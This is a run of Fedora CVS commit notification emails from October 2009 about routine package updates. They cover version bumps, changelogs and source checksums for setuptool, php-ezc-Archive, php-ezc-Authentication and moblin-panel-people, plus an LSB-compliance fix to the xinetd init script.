Date: Mon, 12 Oct 2009 10:50:28 +0000 (UTC)
Subject: rpms/setuptool/devel .cvsignore, 1.20, 1.21 setuptool.spec, 1.38,
	1.39 sources, 1.26, 1.27
Message-ID: <20091012105028.68A0211C029E@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/setuptool/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10537

Modified Files:
	.cvsignore setuptool.spec sources 
Log Message:
* Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> 1.19.8-1
- add setup.1 man page
- update translations



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setuptool/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	4 Aug 2009 08:55:27 -0000	1.20
+++ .cvsignore	12 Oct 2009 10:50:26 -0000	1.21
@@ -1 +1 @@
-setuptool-1.19.6.tar.gz
+setuptool-1.19.8.tar.gz


Index: setuptool.spec
===================================================================
RCS file: /cvs/extras/rpms/setuptool/devel/setuptool.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- setuptool.spec	14 Sep 2009 13:23:28 -0000	1.38
+++ setuptool.spec	12 Oct 2009 10:50:26 -0000	1.39
@@ -1,5 +1,5 @@
 Name: setuptool
-Version: 1.19.7
+Version: 1.19.8
 Release: 1%{?dist}
 Summary: A text mode system configuration tool
 License: GPLv2+
@@ -16,10 +16,9 @@ to access all of the text mode configura
 operating system distribution.
 
 %prep
-%setup -q -n %{name}
+%setup -q 
 
 %build
-./autogen.sh
 %configure
 make %{?_smp_mflags}
 
@@ -44,6 +43,10 @@ rm -rf $RPM_BUILD_ROOT
 %config %{_sysconfdir}/setuptool.d/*
 
 %changelog
+* Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> 1.19.8-1
+- add setup.1 man page
+- update translations
+
 * Mon Sep 14 2009 Michal Hlavinka <mhlavink at redhat.com> - 1.19.7-1
 - relase with updated translations
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setuptool/devel/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	4 Aug 2009 08:55:27 -0000	1.26
+++ sources	12 Oct 2009 10:50:26 -0000	1.27
@@ -1 +1 @@
-c346b838fd8960fff308b5a629fc3a27  setuptool-1.19.6.tar.gz
+4c8abd1cdaf51909c3bac76d55921739  setuptool-1.19.8.tar.gz



From jzeleny at fedoraproject.org  Mon Oct 12 10:55:49 2009
From: jzeleny at fedoraproject.org (Jan Zeleny)
Date: Mon, 12 Oct 2009 10:55:49 +0000 (UTC)
Subject: rpms/xinetd/F-12 xinetd.init,1.13,1.14 xinetd.spec,1.64,1.65
Message-ID: <20091012105549.33A6511C00DB@cvs1.fedora.phx.redhat.com>

Author: jzeleny

Update of /cvs/extras/rpms/xinetd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12190

Modified Files:
	xinetd.init xinetd.spec 
Log Message:
update of init script (LSB compliance)


Index: xinetd.init
===================================================================
RCS file: /cvs/extras/rpms/xinetd/F-12/xinetd.init,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- xinetd.init	30 Jan 2008 08:18:42 -0000	1.13
+++ xinetd.init	12 Oct 2009 10:55:48 -0000	1.14
@@ -52,6 +52,10 @@ prog="xinetd"
 start(){
     [ -f /usr/sbin/xinetd ] || exit 5
     [ -f /etc/xinetd.conf ] || exit 6
+	touch /var/run/xinetd.pid > /dev/null 2>&1
+	[ $? -eq 0 ] || exit 4
+	touch /var/lock/subsys/xinetd > /dev/null 2>&1
+	[ $? -eq 0 ] || exit 4
 
     echo -n $"Starting $prog: "
 
@@ -79,6 +83,16 @@ start(){
 stop(){
     [ -f /usr/sbin/xinetd ] || exit 5
     [ -f /etc/xinetd.conf ] || exit 6
+    if [ -f /var/lock/subsys/xinetd ]; then
+		if [ ! -w /var/lock/subsys/xinetd ]; then
+			exit 4
+		fi
+	fi
+    if [ -f /var/run/xinetd.pid ]; then
+		if [ ! -w /var/run/xinetd.pid ]; then
+			exit 4
+		fi
+	fi
 
     echo -n $"Stopping $prog: "
     killproc -p /var/run/xinetd.pid $prog


Index: xinetd.spec
===================================================================
RCS file: /cvs/extras/rpms/xinetd/F-12/xinetd.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- xinetd.spec	17 Sep 2009 20:38:05 -0000	1.64
+++ xinetd.spec	12 Oct 2009 10:55:48 -0000	1.65
@@ -1,7 +1,7 @@
 Summary: A secure replacement for inetd
 Name: xinetd
 Version: 2.3.14
-Release: 25%{?dist}
+Release: 26%{?dist}
 License: xinetd 
 Group: System Environment/Daemons
 Epoch: 2
@@ -119,6 +119,9 @@ fi
 %{_mandir}/*/*
 
 %changelog
+* Mon Oct 12 2009 Jan Zeleny <jzeleny at redhat.com> - 2:2.3.14-26
+- correction of init script (LSB compliance - #528154)
+
 * Thu Sep 17 2009 Jan Zeleny <jzeleny at redhat.com> - 2:2.3.14-25
 - correction of last patch replacing select() with poll()
 



From llaumgui at fedoraproject.org  Mon Oct 12 10:59:06 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 10:59:06 +0000 (UTC)
Subject: rpms/php-ezc-Archive/devel .cvsignore, 1.2, 1.3 php-ezc-Archive.spec,
	1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091012105906.D3A3D11C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Archive/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12728

Modified Files:
	.cvsignore php-ezc-Archive.spec sources 
Log Message:
Update to 1.3.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Archive/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	2 May 2009 10:40:35 -0000	1.2
+++ .cvsignore	12 Oct 2009 10:59:06 -0000	1.3
@@ -1 +1 @@
-Archive-1.3.3.tgz
+Archive-1.3.4.tgz


Index: php-ezc-Archive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Archive/devel/php-ezc-Archive.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- php-ezc-Archive.spec	26 Jul 2009 18:00:10 -0000	1.2
+++ php-ezc-Archive.spec	12 Oct 2009 10:59:06 -0000	1.3
@@ -3,8 +3,8 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Archive
-Version:        1.3.3
-Release:        2%{?dist}
+Version:        1.3.4
+Release:        1%{?dist}
 Summary:        Create, modify, and extract archive files of various formats
 
 Group:          Development/Libraries
@@ -86,6 +86,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.4-1
+- Update to 1.3.4
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.3-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Archive/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	2 May 2009 10:40:35 -0000	1.2
+++ sources	12 Oct 2009 10:59:06 -0000	1.3
@@ -1 +1 @@
-0400c9d03f8a3bba4ec3093428e7ef2a  Archive-1.3.3.tgz
+296c4bb993e7938186c53e7d6e56496b  Archive-1.3.4.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 10:59:14 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 10:59:14 +0000 (UTC)
Subject: rpms/php-ezc-Archive/F-10 .cvsignore, 1.2, 1.3 php-ezc-Archive.spec,
	1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091012105914.0DDE811C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Archive/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12770

Modified Files:
	.cvsignore php-ezc-Archive.spec sources 
Log Message:
Update to 1.3.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Archive/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	2 May 2009 10:40:38 -0000	1.2
+++ .cvsignore	12 Oct 2009 10:59:13 -0000	1.3
@@ -1 +1 @@
-Archive-1.3.3.tgz
+Archive-1.3.4.tgz


Index: php-ezc-Archive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Archive/F-10/php-ezc-Archive.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- php-ezc-Archive.spec	2 May 2009 10:40:38 -0000	1.1
+++ php-ezc-Archive.spec	12 Oct 2009 10:59:13 -0000	1.2
@@ -3,7 +3,7 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Archive
-Version:        1.3.3
+Version:        1.3.4
 Release:        1%{?dist}
 Summary:        Create, modify, and extract archive files of various formats
 
@@ -86,6 +86,12 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.4-1
+- Update to 1.3.4
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.3-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Mar 30 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.3-1
 - Update to 1.3.3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Archive/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	2 May 2009 10:40:38 -0000	1.2
+++ sources	12 Oct 2009 10:59:13 -0000	1.3
@@ -1 +1 @@
-0400c9d03f8a3bba4ec3093428e7ef2a  Archive-1.3.3.tgz
+296c4bb993e7938186c53e7d6e56496b  Archive-1.3.4.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 10:59:15 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 10:59:15 +0000 (UTC)
Subject: rpms/php-ezc-Archive/F-11 .cvsignore, 1.2, 1.3 php-ezc-Archive.spec,
	1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091012105915.2DD3611C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Archive/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12790

Modified Files:
	.cvsignore php-ezc-Archive.spec sources 
Log Message:
Update to 1.3.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Archive/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	2 May 2009 10:40:40 -0000	1.2
+++ .cvsignore	12 Oct 2009 10:59:14 -0000	1.3
@@ -1 +1 @@
-Archive-1.3.3.tgz
+Archive-1.3.4.tgz


Index: php-ezc-Archive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Archive/F-11/php-ezc-Archive.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- php-ezc-Archive.spec	2 May 2009 10:40:40 -0000	1.1
+++ php-ezc-Archive.spec	12 Oct 2009 10:59:15 -0000	1.2
@@ -3,7 +3,7 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Archive
-Version:        1.3.3
+Version:        1.3.4
 Release:        1%{?dist}
 Summary:        Create, modify, and extract archive files of various formats
 
@@ -86,6 +86,12 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.4-1
+- Update to 1.3.4
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.3-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Mar 30 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.3-1
 - Update to 1.3.3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Archive/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	2 May 2009 10:40:40 -0000	1.2
+++ sources	12 Oct 2009 10:59:15 -0000	1.3
@@ -1 +1 @@
-0400c9d03f8a3bba4ec3093428e7ef2a  Archive-1.3.3.tgz
+296c4bb993e7938186c53e7d6e56496b  Archive-1.3.4.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 10:59:17 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 10:59:17 +0000 (UTC)
Subject: rpms/php-ezc-Archive/F-12 .cvsignore, 1.2, 1.3 php-ezc-Archive.spec,
	1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091012105917.08AFB11C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Archive/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12806

Modified Files:
	.cvsignore php-ezc-Archive.spec sources 
Log Message:
Update to 1.3.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Archive/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	2 May 2009 10:40:35 -0000	1.2
+++ .cvsignore	12 Oct 2009 10:59:16 -0000	1.3
@@ -1 +1 @@
-Archive-1.3.3.tgz
+Archive-1.3.4.tgz


Index: php-ezc-Archive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Archive/F-12/php-ezc-Archive.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- php-ezc-Archive.spec	26 Jul 2009 18:00:10 -0000	1.2
+++ php-ezc-Archive.spec	12 Oct 2009 10:59:16 -0000	1.3
@@ -3,8 +3,8 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Archive
-Version:        1.3.3
-Release:        2%{?dist}
+Version:        1.3.4
+Release:        1%{?dist}
 Summary:        Create, modify, and extract archive files of various formats
 
 Group:          Development/Libraries
@@ -86,6 +86,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.4-1
+- Update to 1.3.4
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.3-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Archive/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	2 May 2009 10:40:35 -0000	1.2
+++ sources	12 Oct 2009 10:59:16 -0000	1.3
@@ -1 +1 @@
-0400c9d03f8a3bba4ec3093428e7ef2a  Archive-1.3.3.tgz
+296c4bb993e7938186c53e7d6e56496b  Archive-1.3.4.tgz



From pbrobinson at fedoraproject.org  Mon Oct 12 11:04:49 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 12 Oct 2009 11:04:49 +0000 (UTC)
Subject: rpms/moblin-panel-people/devel .cvsignore, 1.4,
	1.5 moblin-panel-people.spec, 1.6, 1.7 sources, 1.4, 1.5
Message-ID: <20091012110449.D387D11C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-people/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14199

Modified Files:
	.cvsignore moblin-panel-people.spec sources 
Log Message:
- New upstream 0.0.5 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	10 Oct 2009 18:55:09 -0000	1.4
+++ .cvsignore	12 Oct 2009 11:04:49 -0000	1.5
@@ -1 +1 @@
-moblin-panel-people-0.0.4.tar.bz2
+moblin-panel-people-0.0.5.tar.bz2


Index: moblin-panel-people.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/moblin-panel-people.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- moblin-panel-people.spec	10 Oct 2009 18:55:09 -0000	1.6
+++ moblin-panel-people.spec	12 Oct 2009 11:04:49 -0000	1.7
@@ -1,5 +1,5 @@
 Name:           moblin-panel-people
-Version:        0.0.4
+Version:        0.0.5
 Release:        1%{?dist}
 Summary:        Moblin Panel for People
 
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.5-1
+- New upstream 0.0.5 release
+
 * Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.4-1
 - New upstream 0.0.4 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	10 Oct 2009 18:55:09 -0000	1.4
+++ sources	12 Oct 2009 11:04:49 -0000	1.5
@@ -1 +1 @@
-1e09b8d77d562a110bed85e4701c608a  moblin-panel-people-0.0.4.tar.bz2
+92915880a0be9827705c697f050e849e  moblin-panel-people-0.0.5.tar.bz2



From mhlavink at fedoraproject.org  Mon Oct 12 11:06:53 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 12 Oct 2009 11:06:53 +0000 (UTC)
Subject: rpms/setuptool/F-12 .cvsignore, 1.20, 1.21 setuptool.spec, 1.38,
	1.39 sources, 1.26, 1.27
Message-ID: <20091012110653.A620B11C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/setuptool/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14595

Modified Files:
	.cvsignore setuptool.spec sources 
Log Message:
* Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> 1.19.8-1
- add setup.1 man page
- update translations



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setuptool/F-12/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	4 Aug 2009 08:55:27 -0000	1.20
+++ .cvsignore	12 Oct 2009 11:06:53 -0000	1.21
@@ -1 +1 @@
-setuptool-1.19.6.tar.gz
+setuptool-1.19.8.tar.gz


Index: setuptool.spec
===================================================================
RCS file: /cvs/extras/rpms/setuptool/F-12/setuptool.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- setuptool.spec	14 Sep 2009 13:23:28 -0000	1.38
+++ setuptool.spec	12 Oct 2009 11:06:53 -0000	1.39
@@ -1,5 +1,5 @@
 Name: setuptool
-Version: 1.19.7
+Version: 1.19.8
 Release: 1%{?dist}
 Summary: A text mode system configuration tool
 License: GPLv2+
@@ -16,10 +16,9 @@ to access all of the text mode configura
 operating system distribution.
 
 %prep
-%setup -q -n %{name}
+%setup -q 
 
 %build
-./autogen.sh
 %configure
 make %{?_smp_mflags}
 
@@ -44,6 +43,10 @@ rm -rf $RPM_BUILD_ROOT
 %config %{_sysconfdir}/setuptool.d/*
 
 %changelog
+* Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> 1.19.8-1
+- add setup.1 man page
+- update translations
+
 * Mon Sep 14 2009 Michal Hlavinka <mhlavink at redhat.com> - 1.19.7-1
 - relase with updated translations
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setuptool/F-12/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	4 Aug 2009 08:55:27 -0000	1.26
+++ sources	12 Oct 2009 11:06:53 -0000	1.27
@@ -1 +1 @@
-c346b838fd8960fff308b5a629fc3a27  setuptool-1.19.6.tar.gz
+4c8abd1cdaf51909c3bac76d55921739  setuptool-1.19.8.tar.gz



From llaumgui at fedoraproject.org  Mon Oct 12 11:11:40 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:11:40 +0000 (UTC)
Subject: rpms/php-ezc-Authentication/F-10 .cvsignore, 1.3,
	1.4 php-ezc-Authentication.spec, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091012111140.1CF3A11C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Authentication/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15937/F-10

Modified Files:
	.cvsignore php-ezc-Authentication.spec sources 
Log Message:
Update to 1.3.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Authentication/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	30 Jun 2009 19:37:53 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:11:39 -0000	1.4
@@ -1 +1 @@
-Authentication-1.3.tgz
+Authentication-1.3.1.tgz


Index: php-ezc-Authentication.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Authentication/F-10/php-ezc-Authentication.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- php-ezc-Authentication.spec	30 Jun 2009 19:37:53 -0000	1.2
+++ php-ezc-Authentication.spec	12 Oct 2009 11:11:39 -0000	1.3
@@ -3,7 +3,7 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Authentication
-Version:        1.3
+Version:        1.3.1
 Release:        1%{?dist}
 Summary:        Support for different means of identification and authentication
 
@@ -87,6 +87,12 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.1-1
+- Update to 1.3.1
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jun 29 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3-1
 - Update to 1.3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Authentication/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	30 Jun 2009 19:37:54 -0000	1.3
+++ sources	12 Oct 2009 11:11:39 -0000	1.4
@@ -1 +1 @@
-f0e62c5b4e2dbbb820e1a9125f1c6303  Authentication-1.3.tgz
+42b74afa59cb62a4841b02e5dfaf3494  Authentication-1.3.1.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:11:41 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:11:41 +0000 (UTC)
Subject: rpms/php-ezc-Authentication/devel .cvsignore, 1.3,
	1.4 php-ezc-Authentication.spec, 1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091012111141.16C1311C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Authentication/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15937/devel

Modified Files:
	.cvsignore php-ezc-Authentication.spec sources 
Log Message:
Update to 1.3.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Authentication/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	30 Jun 2009 19:37:44 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:11:40 -0000	1.4
@@ -1 +1 @@
-Authentication-1.3.tgz
+Authentication-1.3.1.tgz


Index: php-ezc-Authentication.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Authentication/devel/php-ezc-Authentication.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- php-ezc-Authentication.spec	26 Jul 2009 18:00:25 -0000	1.3
+++ php-ezc-Authentication.spec	12 Oct 2009 11:11:40 -0000	1.4
@@ -3,8 +3,8 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Authentication
-Version:        1.3
-Release:        2%{?dist}
+Version:        1.3.1
+Release:        1%{?dist}
 Summary:        Support for different means of identification and authentication
 
 Group:          Development/Libraries
@@ -87,6 +87,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.1-1
+- Update to 1.3.1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Authentication/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	30 Jun 2009 19:37:45 -0000	1.3
+++ sources	12 Oct 2009 11:11:40 -0000	1.4
@@ -1 +1 @@
-f0e62c5b4e2dbbb820e1a9125f1c6303  Authentication-1.3.tgz
+42b74afa59cb62a4841b02e5dfaf3494  Authentication-1.3.1.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:11:40 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:11:40 +0000 (UTC)
Subject: rpms/php-ezc-Authentication/F-11 .cvsignore, 1.3,
	1.4 php-ezc-Authentication.spec, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091012111140.5D88211C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Authentication/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15937/F-11

Modified Files:
	.cvsignore php-ezc-Authentication.spec sources 
Log Message:
Update to 1.3.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Authentication/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	30 Jun 2009 19:37:52 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:11:40 -0000	1.4
@@ -1 +1 @@
-Authentication-1.3.tgz
+Authentication-1.3.1.tgz


Index: php-ezc-Authentication.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Authentication/F-11/php-ezc-Authentication.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- php-ezc-Authentication.spec	30 Jun 2009 19:37:52 -0000	1.2
+++ php-ezc-Authentication.spec	12 Oct 2009 11:11:40 -0000	1.3
@@ -3,7 +3,7 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Authentication
-Version:        1.3
+Version:        1.3.1
 Release:        1%{?dist}
 Summary:        Support for different means of identification and authentication
 
@@ -87,6 +87,12 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.1-1
+- Update to 1.3.1
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jun 29 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3-1
 - Update to 1.3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Authentication/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	30 Jun 2009 19:37:52 -0000	1.3
+++ sources	12 Oct 2009 11:11:40 -0000	1.4
@@ -1 +1 @@
-f0e62c5b4e2dbbb820e1a9125f1c6303  Authentication-1.3.tgz
+42b74afa59cb62a4841b02e5dfaf3494  Authentication-1.3.1.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:11:40 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:11:40 +0000 (UTC)
Subject: rpms/php-ezc-Authentication/F-12 .cvsignore, 1.3,
	1.4 php-ezc-Authentication.spec, 1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091012111140.A34BF11C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Authentication/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15937/F-12

Modified Files:
	.cvsignore php-ezc-Authentication.spec sources 
Log Message:
Update to 1.3.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Authentication/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	30 Jun 2009 19:37:44 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:11:40 -0000	1.4
@@ -1 +1 @@
-Authentication-1.3.tgz
+Authentication-1.3.1.tgz


Index: php-ezc-Authentication.spec
===================================================================
